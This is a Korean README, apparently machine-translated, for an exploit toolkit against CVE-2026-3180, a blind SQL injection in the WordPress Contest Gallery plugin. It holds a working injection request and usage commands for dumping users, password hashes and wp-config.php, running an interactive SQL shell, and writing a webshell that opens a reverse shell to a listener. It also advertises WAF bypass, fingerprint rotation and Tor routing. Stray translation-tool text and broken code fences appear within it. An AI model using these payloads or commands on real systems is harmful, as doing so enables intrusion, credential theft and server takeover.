
완전한 익스플로잇 툴킷 for CVE-2026-3180 - WordPress Contest Gallery SQL Injection 취약점. 자동 데이터 추출, WAF 우회, 리버스 셸, SQLMap 통합, Burp 확장 생성 및 침투 테스트와 보안 연구를 위한 보고 기능을 제공합니다.
CVE-2026-3180에 대한 개념 증명 평가 도구
작성자: Sudeepa Wanigarathna · 최초 발견: cardosource
[!IMPORTANT] 승인된 사용만 허용됩니다. 이 도구는 보안 연구, 교육, 그리고 귀하가 소유하거나 명시적인 서면 허가를 받은 시스템을 테스트하기 위한 것입니다. 컴퓨터 시스템에 대한 무단 액세스는 불법입니다. 저자는 오용에 대해 어떠한 책임도 지지 않습니다.
CVE-2026-3180은 WordPress Contest Gallery 플러그인의 높은 심각도, 인증되지 않은 블라인드 SQL 인젝션입니다. 이 결함은 post_cg1l_resend_unconfirmed_mail_frontend AJAX 핸들러에 존재하며, cgl_mail 매개변수가 적절한 검사 없이 SQL 쿼리에 전달됩니다.
이 저장소는 승인된 보안 전문가가 영향을 검증하고, WordPress 데이터를 추출하며, 보고서를 생성하고, 업계 표준 도구(SQLMap, Burp Suite, Nuclei)와 통합할 수 있도록 완전한 기능의 Python PoC(v2.0)를 제공합니다.
| 속성 | 값 |
|---|---|
| CVE ID | CVE-2026-3180 |
| CVSS | 7.5 (높음) |
| 공격 벡터 | 네트워크 — 인증 불필요 |
| 영향 | 기밀성 침해, 데이터베이스 읽기, 자격 증명 도용 |
| 영향받는 제품 | WordPress Contest Gallery 플러그인 |
| 영향받는 버전 | 28.1.4 이하 |
| 취약점 유형 | 블라인드 SQL 인젝션 |
| DBMS | MySQL / MariaDB |
| 필드 | 값 |
|---|---|
| URL | /wp-admin/admin-ajax.php |
| 메서드 | POST |
| 액션 | post_cg1l_resend_unconfirmed_mail_frontend |
| 취약한 매개변수 | cgl_mail |
POST /wp-admin/admin-ajax.php HTTP/1.1 Host: target.example Content-Type: application/x-www-form-urlencoded
action=post_cg1l_resend_unconfirmed_mail_frontend &cgl_mail=qualquer'OR/**/1=1#@teste.com &cgl_page_id=1 &cgl_activation_key= &cg_nonce=%20
### 참고 자료
- [CVE-2026-3180](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-3180)
- [Exploit-DB 52609](https://www.exploit-db.com/exploits/52609)
- [원본 분석 글 (cardosource)](https://dev.to/22l31on/wordpress-contest-gallery-plugin-vulnerability-2ff6)
---
## 기능
### 핵심 공격 기능
| 기능 | 설명 |
|---|---|
| 취약점 탐지 | Boolean, 시간 기반, 오류 기반, Union, Stacked 쿼리 테스트 |
| 블라인드 추출 | 부울 추론을 통한 이진 탐색 문자 추출 |
| 전체 데이터 덤프 | 사용자, 데이터베이스 메타데이터, 옵션, 플러그인, 테마, 게시물, 테이블 |
| 대화형 SQL 셸 | 백엔드에 대해 임의의 `SELECT` 쿼리 실행 |
| wp-config.php 추출 | 일반 경로에 대한 `LOAD_FILE()` 시도 |
| 리버스 셸 | `INTO OUTFILE` / `DUMPFILE`을 통한 PHP 웹쉘 작성 (허용되는 경우) |
### 회피 및 성능
| 기능 | 설명 |
|---|---|
| WAF 우회 | 15개 이상의 인코딩 및 난독화 기법 |
| 멀티스레딩 | 더 빠른 추출을 위한 설정 가능한 작업자 스레드 |
| 속도 제한 | 요청 간 설정 가능한 지연 |
| 재시도 로직 | 일시적 오류 시 자동 재시도 |
| User-Agent 회전 | 요청별 무작위 브라우저 지문 |
| 프록시 지원 | HTTP/SOCKS 프록시 및 Tor (`socks5h://127.0.0.1:9050`) |
### 보고 및 통합
| 기능 | 설명 |
|---|---|
| 보고서 생성 | 추출 요약이 포함된 JSON 및 HTML 보고서 |
| SQLMap 통합 | 자동 생성된 SQLMap 명령 (탬퍼 포함) |
| Burp Suite 확장 | 생성기 + 독립 실행형 `burp_contest_gallery.py` |
| Nuclei 템플릿 | 대량 탐지를 위한 YAML 템플릿 |
| Metasploit 모듈 | Ruby 보조 모듈 (`contest_gallery_sqli.rb`) |
| 셸 자동화 | curl 기반 및 SQLMap 워크플로를 위한 Bash 스크립트 |
### 운영
| 기능 | 설명 |
|---|---|
| 색상 CLI 출력 | 심각도 수준별 구조화된 로깅 |
| 진행 상황 추적 | 실시간 메트릭 (요청, 시간, 추출 속도) |
| 조용함 / 상세 모드 | 스크립팅 및 디버깅에 적합 |
| 시그널 처리 | `Ctrl+C` 시 정리 처리 |
| Docker 지원 | 컨테이너화된 배포 지원 |
| CI/CD 파이프라인 지원 | 자동화를 위한 종료 코드 및 JSON 출력 |
---
## 설치
### 사전 요구 사항
- Python **3.8+**
- `pip`
- 테스트 대상에 대한 네트워크 연결 가능성
### 선택적 외부 도구
| 도구 | 용도 |
|---|---|
| [SQLMap](https://github.com/sqlmapproject/sqlmap) | 자동화된 SQL 인젝션 |
| [Burp Suite](https://portswigger.net/burp) | 수동 테스트 및 확장 호스팅 |
| [Nuclei](https://github.com/projectdiscovery/nuclei) | 템플릿 기반 스캐닝 |
| [Hashcat](https://hashcat.net/hashcat/) | 오프라인 해시 크래킹 |
| [Tor](https://www.torproject.org/) | 익명 라우팅 (`--proxy tor`) |
### 설정```bash
git clone https://github.com/CerberusMrXi/WP-Contest-Gallery-28.1.4-Exploit.git
cd WP-Contest-Gallery-28.1.4-Exploit
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install -r requirements.txt
python3 cve-2026-3180.py --help
필요 (런타임):```text requests>=2.31.0
**권장 (requirements.txt에서):**```text
colorama>=0.4.6
tqdm>=4.65.0
pyyaml>=6.0
python-dateutil>=2.8.2
urllib3>=2.0.0
주 익스플로잇은 Python 표준 라이브러리와
requests만 사용합니다. 추가 패키지는 출력과 보고를 향상시킵니다.
http://target.example을 실습 또는 승인된 대상으로만 변경하세요.
python3 cve-2026-3180.py http://target.example --scan
### 전체 익스플로잇 (탐지 + 추출)```bash
python3 cve-2026-3180.py http://target.example
python3 cve-2026-3180.py http://target.example --dump users
### 대화형 SQL 셸```bash
python3 cve-2026-3180.py http://target.example --sql-shell
python3 cve-2026-3180.py http://target.example --report html -o assessment.html
### Burp 프록시를 통해```bash
python3 cve-2026-3180.py http://target.example --proxy http://127.0.0.1:8080 -v
python3 cve-2026-3180.py http://target.example --scan
부울, 시간 기반 및 오류 기반 탐지를 전체 추출 없이 실행합니다.
### 전체 데이터 추출```bash
python3 cve-2026-3180.py http://target.example --dump all
데이터베이스 정보, 사용자, 옵션, 플러그인, 테마, 게시글, 테이블 및 시스템 메타데이터를 추출합니다.
python3 cve-2026-3180.py http://target.example --dump database python3 cve-2026-3180.py http://target.example --dump users python3 cve-2026-3180.py http://target.example --dump config python3 cve-2026-3180.py http://target.example --dump options python3 cve-2026-3180.py http://target.example --dump plugins python3 cve-2026-3180.py http://target.example --dump themes
### 대화형 SQL 셸```bash
python3 cve-2026-3180.py http://target.example --sql-shell
입력된 콘텐츠가 없습니다. 번역할 마크다운 내용을 제공해 주세요.```text sql> SELECT DATABASE() wordpress
sql> show users [ { "username": "admin", "email": "[email protected]", "password_hash": "$P$B..." } ]
sql> show tables ["wp_users", "wp_posts", "wp_options", ...]
sql> exit
**셸 명령어:**
| 명령어 | 설명 |
|---|---|
| `SELECT ...` | SQL 쿼리를 실행하고 결과를 출력합니다 |
| `show users` | 캐시된 추출된 사용자를 표시합니다 |
| `show tables` | 캐시된 테이블 목록을 표시합니다 |
| `show database` | 캐시된 DB 메타데이터를 표시합니다 |
| `show config` | 추출된 경우 wp-config.php를 표시합니다 |
| `show options` | WordPress 옵션을 표시합니다 |
| `show plugins` | 활성 플러그인을 표시합니다 |
| `help` | 사용 가능한 명령어 목록을 표시합니다 |
| `exit` / `quit` | 셸을 종료합니다 |
### 보고서 생성```bash
# JSON report (default, saved to reports/)
python3 cve-2026-3180.py http://target.example --report json
# HTML report with custom filename
python3 cve-2026-3180.py http://target.example --report html -o reports/assessment.html
nc -lvnp 4444
python3 cve-2026-3180.py http://target.example --reverse-shell 10.0.0.5 4444
> `FILE` 권한, 쓰기 가능한 웹루트, 그리고 `secure_file_priv`가 대상 경로를 차단하지 않아야 함.